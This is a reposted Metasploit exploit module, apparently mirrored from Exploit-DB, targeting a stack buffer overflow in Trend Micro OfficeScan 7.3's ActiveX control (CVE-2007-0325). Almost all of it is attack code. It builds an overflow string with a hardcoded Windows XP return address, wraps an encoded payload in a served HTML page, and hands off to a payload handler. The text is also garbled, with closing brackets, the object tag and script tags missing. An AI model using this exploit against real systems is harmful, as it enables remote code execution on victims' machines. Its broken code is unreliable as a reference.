Trend Micro OfficeScan – Client ActiveX Control Buffer Overflow (Metasploit)

Exploit Database
143 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16535/

# $Id: trendmicro_officescan.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Trend Micro OfficeScan Client ActiveX Control Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Trend Micro OfficeScan

Corporate Edition 7.3. By sending an overly long string to the

"CgiOnUpdate()" method located in the OfficeScanSetupINI.dll Control,

an attacker may be able to execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' => [ 'MC' ],

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2007-0325' ],

[ 'OSVDB', '33040' ],

[ 'BID', '22585' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 800,

'BadChars'=> "\x00\x09\x0a\x0d'\\",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP2 Pro English', { 'Ret' => 0x7cc58fd8 } ],

'DisclosureDate' => 'Feb 12 2007',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# Randomize some things

vname = rand_text_alpha(rand(100) + 1)

strname = rand_text_alpha(rand(100) + 1)

# Set the exploit buffer

sploit =rand_text_alpha(2149) + [target.ret].pack('V') + p.encoded

# Build out the message

content = %Q|

<html>

var #{vname} = document.getElementById('#{vname}');

var #{strname} = new String('#{sploit}');

#{vname}.CgiOnUpdate = #{strname};

</script>

</html>

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end